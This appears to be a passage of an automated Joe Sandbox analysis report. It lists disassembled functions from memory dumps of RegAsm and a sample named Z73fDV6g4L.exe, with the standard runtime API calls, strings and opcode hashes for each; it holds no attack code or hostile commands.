Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
Instruction ID: 9d2747a7e5b70225cc448f1b3832819408a251e63c6cb1e4317f51345b07cf5e
Opcode Fuzzy Hash: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
Instruction Fuzzy Hash: B9B1E870B00215BFDB11DF59D980BAE7BB1BF45304F94816AE401AB392C7B99D42CB69

Function 0040A62A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040A621,00408D5A,00407CB3), ref: 0040A638
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040A646
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040A65F
SetLastError.KERNEL32(00000000,0040A621,00408D5A,00407CB3), ref: 0040A6B1

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ea70f88f1a7dd67ad85e4a1eb3bc890aa5c44d2470a951be6c0d9591e2143091
Instruction ID: 78011c5e5d228000ed262031febe4d72c2c7c60d5ad4d387ad9a5ce747099190
Opcode Fuzzy Hash: ea70f88f1a7dd67ad85e4a1eb3bc890aa5c44d2470a951be6c0d9591e2143091
Instruction Fuzzy Hash: 530128332093112ED62427B6BD45A5B2678DB51774738063FF510722F1EF7E5C11554D

Function 004114C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,50A26BB6,?,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 004114FD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041150F
FreeLibrary.KERNEL32(00000000,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 00411531

Strings

mscoree.dll, xrefs: 004114F6
CorExitProcess, xrefs: 00411507

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
Instruction ID: 91ec29eb5be505712193f20e889ba6035279a869843729da5c2c1c8d1a6e38dc
Opcode Fuzzy Hash: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
Instruction Fuzzy Hash: 5E018431A50625EBDB218F50DC09BAEB7F9FB44B11F400526F912A22A0DB789900CA58

Function 00418EB1 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00418F38
__alloca_probe_16.LIBCMT ref: 00418FF9
__freea.LIBCMT ref: 00419060

Part of subcall function 00415426: HeapAlloc.KERNEL32(00000000,?,?,?,00407448,?,?,004038E3,0000000C), ref: 00415458

__freea.LIBCMT ref: 00419075
__freea.LIBCMT ref: 00419085

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
Instruction ID: 5a58541e407446bb28ced3c61191459bbd43b91e1c19ac61a4b7f941500e9d67
Opcode Fuzzy Hash: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
Instruction Fuzzy Hash: 1451E572600206AFDB249E65CC81EFB3AA9EF48754B15012EFD05D7250EB39DD81C7A9

Function 00405A29 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00405A30
std::_Lockit::_Lockit.LIBCPMT ref: 00405A3A

Part of subcall function 00401980: std::_Lockit::_Lockit.LIBCPMT ref: 0040199C
Part of subcall function 00401980: std::_Lockit::~_Lockit.LIBCPMT ref: 004019B9

codecvt.LIBCPMT ref: 00405A74
std::_Facet_Register.LIBCPMT ref: 00405A8B
std::_Lockit::~_Lockit.LIBCPMT ref: 00405AAB

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 08d409ab8f65cfa251cbcb9404e233e286c333acaa76841f7ef905a91d8db047
Instruction ID: b96a9e16e5313ba5d76a5da041c455aafda494eca7322fa8897946df384a052d
Opcode Fuzzy Hash: 08d409ab8f65cfa251cbcb9404e233e286c333acaa76841f7ef905a91d8db047
Instruction Fuzzy Hash: 7C01AD75A00A168BCB05EB65C881AAF7771EF84354F24052EE414BB3D2CB3CAE058F99

Function 00401F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00401F9D

Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0

Strings

ios_base::badbit set, xrefs: 00401F37, 00401F62, 00401F80
ios_base::failbit set, xrefs: 00401E62, 00401F41
ios_base::eofbit set, xrefs: 00401F46

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 6db5754c0c3f7c630e456a44fc8a01ec81c9786fca09fcb0a19a2d9224875447
Instruction ID: 39c8128b798e2086e3302e8ab46e2dce8cada1f1b911e2d41b88b79c7a5bec65
Opcode Fuzzy Hash: 6db5754c0c3f7c630e456a44fc8a01ec81c9786fca09fcb0a19a2d9224875447
Instruction Fuzzy Hash: BD1136B29107156BC710DF68D801B86B3E8AF08310F14853FFA54E7291F778E804CBA9

Function 00407420 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407DA8
___raise_securityfailure.LIBCMT ref: 00407E90

Strings

#7@, xrefs: 00407E13
@SC, xrefs: 00407E8B

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: #7@$@SC
API String ID: 3761405300-54278199
Opcode ID: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
Instruction ID: 0d92a2c854cdd6e88b4d1eeb56e5bf4da0bfe8ec24aca00867b110679a0b03e4
Opcode Fuzzy Hash: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
Instruction Fuzzy Hash: DA2107B4640A00DBD318CF15F9857943BF4BB68355FA0643AE9088B3B1D3B46485CF1E

Function 0040B772 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx), ref: 0040B77F
GetLastError.KERNEL32(?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx,00000000,?,0040B67D), ref: 0040B789
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,0040A593), ref: 0040B7B1

Strings

api-ms-, xrefs: 0040B796

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
Instruction ID: 4a96934300341e5ece3864587fe3feae18b3ac400cb1fe2ce3454729e361f76d
Opcode Fuzzy Hash: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
Instruction Fuzzy Hash: 29E01A30384208BBEF205B61EC06F5A3E64EB40B85F904031FB0DE91E1E775A9519ACC

Function 004164C2 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(50A26BB6,00000000,00000000,0040BDB8), ref: 00416525

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00416780
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004167C8
GetLastError.KERNEL32 ref: 0041686B

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
Instruction ID: 1bb8143dd65314e62236f50c93da9e0a6d801424c5e2e01ca8c3ea5794d6433d
Opcode Fuzzy Hash: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
Instruction Fuzzy Hash: 7DD158B5E002589FCB11DFA9D880AEDBBB5FF48304F19412AE856E7351D734E882CB58

Function 0040A741 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040A808
___AdjustPointer.LIBCMT ref: 0040A82B
___AdjustPointer.LIBCMT ref: 0040A8C7

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 651f461737145a99faeddf7e9cbc434de1019a0abfbd738a44b85bf0bb0bacfa
Instruction ID: 639cff4bd66d4eed68713a8ae307c2d2d1180f9e9004782a502f2a6fa8fea26a
Opcode Fuzzy Hash: 651f461737145a99faeddf7e9cbc434de1019a0abfbd738a44b85bf0bb0bacfa
Instruction Fuzzy Hash: 3D51CF72A00302AFEB29AF52C941B7A73A4EF40304F14853FE805672D1D739EC62C79A

Function 0041B4A7 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

GetLastError.KERNEL32 ref: 0041B50B
__dosmaperr.LIBCMT ref: 0041B512
GetLastError.KERNEL32(?,?,?,?), ref: 0041B54C
__dosmaperr.LIBCMT ref: 0041B553

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
Instruction ID: cec987ca27f54d0df3a57789ab5f391b1316bc0051da666ab1eca3c5aeea150a
Opcode Fuzzy Hash: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
Instruction Fuzzy Hash: 3221B671600215BFDB20EF66C8418ABB7ADFF043A8710852FF85997251D779ED9087D4

Function 004108A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
Instruction ID: f8db4804455f599fb5fabd8b5f86bcd1d132503182311fbe19c9dedc91394c0d
Opcode Fuzzy Hash: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
Instruction Fuzzy Hash: 8F21F9B1610205AFEB20AF62CC90DAB776CFF40368710452BF415D7252D7B9EDD097A8

Function 0041C43D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041C445

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C47D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C49D

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
Instruction ID: cd346ceb72f841712861b774b6322b7d2f9c84398f992d5f92ec2fcb375f728e
Opcode Fuzzy Hash: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
Instruction Fuzzy Hash: 091104B2A48515BF672127B25CDACFF6D5CDE99398310402AF802D2102EE2CDD8285BD

Function 004241E7 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000), ref: 004241FE
GetLastError.KERNEL32(?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8,?,00416E7D,?), ref: 0042420A

Part of subcall function 004241D0: CloseHandle.KERNEL32(FFFFFFFE,0042421A,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8), ref: 004241E0

___initconout.LIBCMT ref: 0042421A

Part of subcall function 00424192: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004241C1,00421C31,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 004241A5

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 0042422F

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
Instruction ID: 4f4531f6176a0c5b6c9a7a905856594723a902087f3f8d784f297790ae8fc46e
Opcode Fuzzy Hash: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
Instruction Fuzzy Hash: C1F03736200124BBCF222FD5FC0899A7F26FB853B0F414065FA5995130C6319870AB99

Function 004102AD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0041033D

Strings

pow, xrefs: 00410315, 00410332

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: c0cf26b477ce003e2ec9021a6fbfbc89d90c79d8eb5fc1b2203591be7fd8a1bc
Instruction ID: ba283ab10e86f0ff01337ebee0106e11519cd21400a500e12903ed81b54b832b
Opcode Fuzzy Hash: c0cf26b477ce003e2ec9021a6fbfbc89d90c79d8eb5fc1b2203591be7fd8a1bc
Instruction Fuzzy Hash: CD517EB1A4A6068BCB117714DA413EB37A09B40701F604D6BE8D5413E9EB7D8CF69A4F

Function 00401E50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00401F9D

Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0

Strings

ios_base::badbit set, xrefs: 00401F37, 00401F62, 00401F80
ios_base::failbit set, xrefs: 00401E62

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 093cf63a05e0c9d9e505c411f0024045c7293edf30539a5a4b0b12754ed88584
Instruction ID: 797d091bbb829d4e8b0eea89e00af225cce609620468ab5527f299f1bcc47ce9
Opcode Fuzzy Hash: 093cf63a05e0c9d9e505c411f0024045c7293edf30539a5a4b0b12754ed88584
Instruction Fuzzy Hash: 2D414771504301AFC304DF29C841A9BB7E8EF89310F14862FF994A76A1E778E945CB99

Function 0040A430 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0040A46F
__IsNonwritableInCurrentImage.LIBCMT ref: 0040A523

Strings

csm, xrefs: 0040A50D

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
Instruction ID: 2e999a1580a82348229a279466bd0bfc2513c0ac70a5a2249b741fcd72562a23
Opcode Fuzzy Hash: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
Instruction Fuzzy Hash: 2741C834A00318ABCF10DF69C844A9E7BB0FF45314F1481A6E8146B3D2D779E961CB9A

Function 0040AD3D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0040AD62

Strings

MOC, xrefs: 0040AD74
RCC, xrefs: 0040AD7C

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
Instruction ID: a4c454b0bcb5eef0a2e58a0d06434270c6490fd8828ce8058ef1224e804d7477
Opcode Fuzzy Hash: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
Instruction Fuzzy Hash: 4C416E71900209AFCF15DFA4CD81AEEBBB5FF48304F19846AF904B7291D3399960DB95

Function 00407EA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407EAE
___raise_securityfailure.LIBCMT ref: 00407F6B

Strings

@SC, xrefs: 00407F66

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: @SC
API String ID: 3761405300-4053289583
Opcode ID: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
Instruction ID: 10e33e2e5eb9a3d5286ccbecc20551b6eaee076d59bf9c7ce06d7c1cd455d27c
Opcode Fuzzy Hash: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
Instruction Fuzzy Hash: 2D11E3B4651A04DBD318CF15F8817883BA4BB28346B50B03AE8088B371E3B09595CF5E

Function 00401870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00401875
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004018BA

Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058C9
Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058ED

Strings

bad locale name, xrefs: 004018C8

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
Instruction ID: 698a41e2f8890499ec269fe88a942146f7bab7e11b1414401b60b7a9d3f26e65
Opcode Fuzzy Hash: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
Instruction Fuzzy Hash: 90F01D71515B408ED370DF3A8404743BEE0AF29714F048E2EE4CAD7A92E379E508CBA9

Function 00405ABE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00405AC5

Strings

pdB, xrefs: 00405B01
A]@, xrefs: 00405AEB

Memory Dump Source

Source File: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3
String ID: A]@$pdB
API String ID: 431132790-1964063989
Opcode ID: a80e33e7d8d27686206c715740f2a372a192bd8069830a42d80d814282e980e6
Instruction ID: 9708e6e5fcb6faf266b2e239077eb0a834cba51f5faa1665736d4655e106cb5a
Opcode Fuzzy Hash: a80e33e7d8d27686206c715740f2a372a192bd8069830a42d80d814282e980e6
Instruction Fuzzy Hash: AE01D6B4A00615CFC761DF68C580A5ABBF0FF08344B51896EE489DB751D7B5AA40CF98

Analysis Process: Z73fDV6g4L.exePID: 6220, Parent PID: 6768COMMON

Executed Functions

Function 053A5310 Relevance: 1.7, APIs: 1, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4b47fb59887c2dbece4b8671c76a04945bb7bb63d3d25dc40b82e8ca9ef16b7
Instruction ID: 22a64e100906d596bd73cdceaec364c125b35b717c76af2eadd40fe9ec88a53e
Opcode Fuzzy Hash: c4b47fb59887c2dbece4b8671c76a04945bb7bb63d3d25dc40b82e8ca9ef16b7
Instruction Fuzzy Hash: 437114B2C04248AFCF01CFA5C984ACEBFB5EF59350F55816AE909AB251D3759845CB90

Function 053A4858 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 053A5582

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 07f1f4c80dcf36f16d75f4dcc0303f1a5802d7b3ab2fc9ecf16ffea9f4a9ee98
Instruction ID: c041b46d6deaaf513acea290712239769c80c1f6d208bbd5b69c3295852fd158
Opcode Fuzzy Hash: 07f1f4c80dcf36f16d75f4dcc0303f1a5802d7b3ab2fc9ecf16ffea9f4a9ee98
Instruction Fuzzy Hash: 615134B2C043589FDB14DFA9C994ACEBFB5FF49300F24812AE819AB251D7749885CF90

Function 053A48A0 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 053A5582

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: afcd1d65350d8fdf651f6ee1520a69656cdea9309a51c7c2c01d0cdb0b845c47
Instruction ID: 3ef6dbcb850e621e9939fbb657fbc8bb5b248b86f1367f5184157690e1266596
Opcode Fuzzy Hash: afcd1d65350d8fdf651f6ee1520a69656cdea9309a51c7c2c01d0cdb0b845c47
Instruction Fuzzy Hash: 5C51AFB1D003499FDF14CFA9C984ADEBBB6FF48314F24812AE819AB250D775A945CF90

Function 053A5465 Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 053A5582

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a4a725f7740582ef296b6c1eeee7e1376c3d9491eb15f9ef40801f6da130bdab
Instruction ID: 1302fe18e5b8849c61a13b2fbe7961bac1e4d2c7471257c7bed4599655a50f7b
Opcode Fuzzy Hash: a4a725f7740582ef296b6c1eeee7e1376c3d9491eb15f9ef40801f6da130bdab
Instruction Fuzzy Hash: B4519FB1D003499FDF14CFA9C984ADEBBB6FF48314F24812AE819AB250D775A945CF90

Function 053A49F4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 053A7B01

Memory Dump Source

Source File: 00000009.00000002.2117174698.00000000053A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_53a0000_Z73fDV6g4L.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2067df2c22d54440359f15bcdb9cd3ca36516dcdffa70ba243c52f9062b3350a
Instruction ID: bdd819609ff488f94c3aab9a351ae952ccf45950dfbe56598b53676d2624584d
